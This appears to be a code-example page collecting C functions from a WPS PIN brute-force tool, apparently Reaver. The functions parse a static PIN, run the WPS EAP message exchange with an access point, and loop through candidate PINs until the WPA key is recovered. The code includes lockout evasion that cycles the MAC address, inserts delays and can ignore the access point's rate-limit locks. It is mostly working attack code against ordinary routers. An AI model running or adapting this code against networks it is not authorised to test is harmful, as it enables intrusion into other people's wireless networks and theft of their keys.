/* Parse the WPS pin to use into p1 and p2 */
void parse_static_pin(char *pin)
{
	int len = 0;
	char p1[5] = { 0 };
	char p2[4] = { 0 };

	if(pin)
	{
		len = strlen(pin);

		if((len == 4 || len == 7 || len == 8) && is_valid_pin(pin) != 0)
		{
			memcpy((void *) &p1, pin, sizeof(p1)-1);
			set_static_p1((char *) &p1);
			set_key_status(KEY2_WIP);

			if(len > 4)
			{
				memcpy((void *) &p2, pin+sizeof(p1)-1, sizeof(p2)-1);
				set_static_p2((char *) &p2);
			}
		}
		else
		{
			//cprintf(CRITICAL, "[X] ERROR: Invalid pin specified! Ignoring '%s'.\n", pin);
			set_max_pin_attempts(1);
			set_pin_string_mode(1);
			set_static_p1(pin);
		}
	}
}
Exemple #2
0
/* Main loop to listen for packets on a wireless card in monitor mode. */
enum wps_result do_wps_exchange() {
    struct pcap_pkthdr header;
    const u_char *packet = NULL;
    enum wps_type packet_type = UNKNOWN, last_msg = UNKNOWN;
    enum wps_result ret_val = KEY_ACCEPTED;
    int premature_timeout = 0, terminated = 0, got_nack = 0;
    int id_response_sent = 0, tx_type = 0;
    int m2_sent = 0, m4_sent = 0, m6_sent = 0;

    /* Initialize settings for this WPS exchange */
    set_last_wps_state(0);
    set_eap_id(0);

    /* Initiate an EAP session */
    send_eapol_start();

    /* 
     * Loop until:
     *
     * 	o The pin has been cracked
     * 	o An EAP_FAIL packet is received
     * 	o We receive a NACK message
     *	o We hit an unrecoverable receive timeout
     */
    while ((get_key_status() != KEY_DONE) &&
            !terminated &&
            !got_nack &&
            !premature_timeout) {
        tx_type = 0;

        if (packet_type > last_msg) {
            last_msg = packet_type;
        }

        packet = next_packet(&header);
        if (packet == NULL) {
            break;
        }

        packet_type = process_packet(packet, &header);
        memset((void *) packet, 0, header.len);

        switch (packet_type) {
            case IDENTITY_REQUEST:
                cprintf(VERBOSE, "[+] Received identity request\n");
                tx_type = IDENTITY_RESPONSE;
                id_response_sent = 1;
                break;
            case M1:
                cprintf(VERBOSE, "[+] Received \033[1;35mM1\033[0m message\n");
                if (id_response_sent && !m2_sent) {
                    tx_type = SEND_M2;
                    m2_sent = 1;
                } else if (get_oo_send_nack()) {
                    tx_type = SEND_WSC_NACK;
                    terminated = 1;
                }
                break;
            case M3:
                cprintf(VERBOSE, "[+] Received \033[1;35mM3\033[0m  message\n");
                if (m2_sent && !m4_sent) {
                    if (globule->pixie_loop == 1) {
                        tx_type = SEND_WSC_NACK;
                        terminated = 1;
                    } else if (globule->pixie_loop == 0) {
                        tx_type = SEND_M4;
                        m4_sent = 1;
                    }
                    //tx_type = SEND_M4;
                    //m4_sent = 1;
                } else if (get_oo_send_nack()) {
                    tx_type = SEND_WSC_NACK;
                    terminated = 1;
                }
                break;
            case M5:
                cprintf(VERBOSE, "[+] Received \033[1;35mM5\033[0m  message\n");
                if (get_key_status() == KEY1_WIP) {
                    set_key_status(KEY2_WIP);
                }
                if (m4_sent && !m6_sent) {
                    tx_type = SEND_M6;
                    m6_sent = 1;
                } else if (get_oo_send_nack()) {
                    tx_type = SEND_WSC_NACK;
                    terminated = 1;
                }
                break;
            case M7:
                cprintf(VERBOSE, "[+] Received \033[1;35mM7\033[0m  message\n");
                //bug fix made by flatr0ze
                if (!m6_sent) {
                    tx_type = SEND_WSC_NACK;
                    terminated = 1;
                }
                /* Fall through */
            case DONE:
                if (get_key_status() == KEY2_WIP) {
                    set_key_status(KEY_DONE);
                }
                tx_type = SEND_WSC_NACK;
                break;
            case NACK:
                cprintf(VERBOSE, "[+] Received WSC NACK (reason: 0x%04X)\n", get_nack_reason());
                got_nack = 1;
                break;
            case TERMINATE:
                terminated = 1;
                break;
            default:
                if (packet_type != 0) {
                    cprintf(VERBOSE, "[!] WARNING: Unexpected packet received (0x%.02X), terminating transaction\n", packet_type);
                    terminated = 1;
                }
                break;
        }

        if (tx_type == IDENTITY_RESPONSE) {
            send_identity_response();
        } else if (tx_type) {
            send_msg(tx_type);
        }            /* 
         * If get_oo_send_nack is 0, then when out of order packets come, we don't
         * NACK them. However, this also means that we wait infinitely for the expected
         * packet, since the timer is started by send_msg. Manually start the timer to
         * prevent infinite loops.
         */
        else if (packet_type != 0) {
            start_timer();
        }

        /* Check to see if our receive timeout has expired */
        if (get_out_of_time()) {
            /* If we have not sent an identity response, try to initiate an EAP session again */
            if (!id_response_sent) {
                /* Notify the user after EAPOL_START_MAX_TRIES eap start failures */
                if (get_eapol_start_count() == EAPOL_START_MAX_TRIES) {
                    cprintf(WARNING, "[!] WARNING: %d successive start failures\n", EAPOL_START_MAX_TRIES);
                    set_eapol_start_count(0);
                    premature_timeout = 1;
                }

                send_eapol_start();
            } else {
                /* Treat all other time outs as unexpected errors */
                premature_timeout = 1;
            }
        }
    }

    /*
     * There are four states that can signify a pin failure:
     *
     * 	o Got NACK instead of an M5 message				(first half of pin wrong)
     * 	o Got NACK instead of an M5 message, when cracking second half	(fake NACK)
     * 	o Got NACK instead of an M7 message				(second half of pin wrong)
     * 	o Got receive timeout while waiting for an M5 message		(first half of pin wrong)
     * 	o Got receive timeout while waiting for an M7 message		(second half of pin wrong)
     */
    if (got_nack) {
        /*
         * If a NACK message was received, then the current wps->state value will be
         * SEND_WSC_NACK, indicating that we need to reply with a NACK. So check the
         * previous state to see what state we were in when the NACK was received.
         */


        /* Warning the user about change of reason code for the received NACK message. */
        if (!get_ignore_nack_reason()) {
            if ((get_last_nack_reason() >= 0) && (get_nack_reason() != get_last_nack_reason())) {
                cprintf(WARNING, "[!] WARNING: The reason code for NACK has been changed. Potential FAKE NACK!\n");
            }
            set_last_nack_reason(get_nack_reason());
        }

        /* Check NACK reason code for */
        if ((get_fake_nack_reason() >= 0) && (get_nack_reason() == get_fake_nack_reason()) && (get_timeout_is_nack())) {
            ret_val = FAKE_NACK;
        } else {
            if ((last_msg == M3) || (last_msg == M5)) {
                /* The AP is properly sending WSC_NACKs, so don't treat future timeouts as pin failures. */
                set_timeout_is_nack(0);

                /* bug fix made by KokoSoft */
                ret_val = ((last_msg == M3) && (get_key_status() == KEY2_WIP) && (get_timeout_is_nack())) ? FAKE_NACK : KEY_REJECTED;
            } else {
                ret_val = UNKNOWN_ERROR;
            }
        }
    } else if (premature_timeout) {
        /* 
         * Some WPS implementations simply drop the connection on the floor instead of sending a NACK.
         * We need to be able to handle this, but at the same time using a timeout on the M5/M7 messages
         * can result in false negatives. Thus, treating M5/M7 receive timeouts as NACKs can be disabled.
         * Only treat the timeout as a NACK if this feature is enabled.
         */
        if (get_timeout_is_nack() &&
                //(last_msg == M3 || last_msg == M5))
                ((last_msg == M3 && (get_key_status() == KEY1_WIP)) || last_msg == M5)) //bug fix made by flatr0ze
        {
            ret_val = KEY_REJECTED;
        } else {
            /* If we timed out at any other point in the session, then we need to try the pin again */
            ret_val = RX_TIMEOUT;
        }
    }        /*
     * If we got an EAP FAIL message without a preceeding NACK, then something went wrong. 
     * This should be treated the same as a RX_TIMEOUT by the caller: try the pin again.
     */
    else if (terminated) {
        ret_val = EAP_FAIL;
    } else if (get_key_status() != KEY_DONE) {
        ret_val = UNKNOWN_ERROR;
    }

    /* 
     * Always completely terminate the WPS session, else some WPS state machines may
     * get stuck in their current state and won't accept new WPS registrar requests
     * until rebooted.
     *
     * Stop the receive timer that is started by the termination transmission.
     */
    send_wsc_nack();
    stop_timer();

    if (get_eap_terminate() || ret_val == EAP_FAIL) {
        send_termination();
        stop_timer();
    }

    return ret_val;
}
Exemple #3
0
/* Brute force all possible WPS pins for a given access point */
void crack()
{
    unsigned char *bssid = NULL;
    char *pin = NULL;
    int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0;
    float pin_count = 0;
    time_t start_time = 0;
    enum wps_result result = 0;
    /* MAC CHANGER VARIABLES */
    int mac_changer_counter = 0;
    char mac[MAC_ADDR_LEN] = { 0 };
    unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ";
    unsigned char* new_mac = &mac_string[0];
    char last_digit = '0';

    if(!get_iface())
    {
        return;
    }

    if(get_max_pin_attempts() == -1)
    {
        cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
        return;
    }

    /* Initialize network interface */
    set_handle(capture_init(get_iface()));

    if(get_handle() != NULL)
    {
        generate_pins();

        /* Restore any previously saved session */
        if(get_static_p1() == NULL)
        {
            restore_session();
        }

        /* Convert BSSID to a string */
        bssid = mac2str(get_bssid(), ':');

        /*
         * We need to get some basic info from the AP, and also want to make sure the target AP
         * actually exists, so wait for a beacon packet
         */
        cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
        read_ap_beacon();
        process_auto_options();

        /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
        if(get_max_pin_attempts() == -1)
        {
            cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
            return;
        }

        /* This initial association is just to make sure we can successfully associate */
        while(!reassociate())
        {
            if(assoc_fail_count == MAX_ASSOC_FAILURES)
            {
                assoc_fail_count = 0;
                cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
            }
            else
            {
                assoc_fail_count++;
            }
        }
        cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());

        /* Used to calculate pin attempt rates */
        start_time = time(NULL);

        /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
        if(get_key_status() <= KEY1_WIP)
        {
            set_key_status(KEY1_WIP);
        }
        /*
         * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
         * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
         */
        else if(get_key_status() == KEY_DONE)
        {
            set_key_status(KEY2_WIP);
        }

        //copy the current mac to the new_mac variable for mac changer
        if (get_mac_changer() == 1) {
            strncpy(new_mac, mac2str(get_mac(), ':'), 16);
        }

        /* Main cracking loop */
        for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
        {
            //MAC Changer switch/case to define the last mac address digit
            if (get_mac_changer() == 1) {
                switch (mac_changer_counter) {
                case 0:
                    last_digit = '0';
                    break;
                case 1:
                    last_digit = '1';
                    break;
                case 2:
                    last_digit = '2';
                    break;
                case 3:
                    last_digit = '3';
                    break;
                case 4:
                    last_digit = '4';
                    break;
                case 5:
                    last_digit = '5';
                    break;
                case 6:
                    last_digit = '6';
                    break;
                case 7:
                    last_digit = '7';
                    break;
                case 8:
                    last_digit = '8';
                    break;
                case 9:
                    last_digit = '9';
                    break;
                case 10:
                    last_digit = 'A';
                    break;
                case 11:
                    last_digit = 'B';
                    break;
                case 12:
                    last_digit = 'C';
                    break;
                case 13:
                    last_digit = 'D';
                    break;
                case 14:
                    last_digit = 'E';
                    break;
                case 15:
                    last_digit = 'F';
                    mac_changer_counter = -1;
                    break;
                }

                mac_changer_counter++;

                new_mac[16] = last_digit;
                //transform the string to a MAC and define the MAC
                str2mac((unsigned char *) new_mac, (unsigned char *) &mac);
                set_mac((unsigned char *) &mac);

                cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':'));
            }

            /*
             * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
             * registrar requests. Using a delay here can help prevent the AP from locking us out.
             */
            pcap_sleep(get_delay());

            /* Users may specify a delay after x number of attempts */
            if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
            {
                cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
                pcap_sleep(get_recurring_delay());
                sleep_count = 0;
            }

            /*
             * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
             * Verify that the AP is not locked before attempting the next pin.
             */
            while(get_ignore_locks() == 0 && is_wps_locked())
            {
                cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
                pcap_sleep(get_lock_delay());

            }

            /* Initialize wps structure */
            set_wps(initialize_wps_data());
            if(!get_wps())
            {
                cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
                break;
            }

            /* Try the next pin in the list */
            pin = build_next_pin();
            if(!pin)
            {
                cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
                break;
            }
            else
            {
                cprintf(WARNING, "[+] Trying pin %s\n", pin);
            }

            /*
             * Reassociate with the AP before each WPS exchange. This is necessary as some APs will
             * severely limit our pin attempt rate if we do not.
             */
            assoc_fail_count = 0;
            while(!reassociate())
            {
                if(assoc_fail_count == MAX_ASSOC_FAILURES)
                {
                    assoc_fail_count = 0;
                    cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
                }
                else
                {
                    assoc_fail_count++;
                }
            }


            /*
             * Enter receive loop. This will block until a receive timeout occurs or a
             * WPS transaction has completed or failed.
             */
            result = do_wps_exchange();

            switch(result)
            {
            /*
             * If the last pin attempt was rejected, increment
             * the pin counter, clear the fail counter and move
             * on to the next pin.
             */
            case KEY_REJECTED:
                fail_count = 0;
                pin_count++;
                advance_pin_count();
                break;
            /* Got it!! */
            case KEY_ACCEPTED:
                break;
            /* Unexpected timeout or EAP failure...try this pin again */
            default:
                cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
                fail_count++;
                break;
            }

            /* If we've had an excessive number of message failures in a row, print a warning */
            if(fail_count == WARN_FAILURE_COUNT)
            {
                cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
                fail_count = 0;
                pcap_sleep(get_fail_delay());
            }

            /* Display status and save current session state every DISPLAY_PIN_COUNT loops */
            if(loop_count == DISPLAY_PIN_COUNT)
            {
                save_session();
                display_status(pin_count, start_time);
                loop_count = 0;
            }

            /*
             * The WPA key and other settings are stored in the globule->wps structure. If we've
             * recovered the WPS pin and parsed these settings, don't free this structure. It
             * will be freed by wpscrack_free() at the end of main().
             */
            if(get_key_status() != KEY_DONE)
            {
                wps_deinit(get_wps());
                set_wps(NULL);
            }
            /* If we have cracked the pin, save a copy */
            else
            {
                set_pin(pin);
            }
            free(pin);
            pin = NULL;

            /* If we've hit our max number of pin attempts, quit */
            if((get_max_pin_attempts() > 0) &&
                    (pin_count == get_max_pin_attempts()))
            {
                cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
                break;
            }
        }

        if(bssid) free(bssid);
        if(get_handle())
        {
            pcap_close(get_handle());
            set_handle(NULL);
        }
    }
    else
    {
        cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
    }
}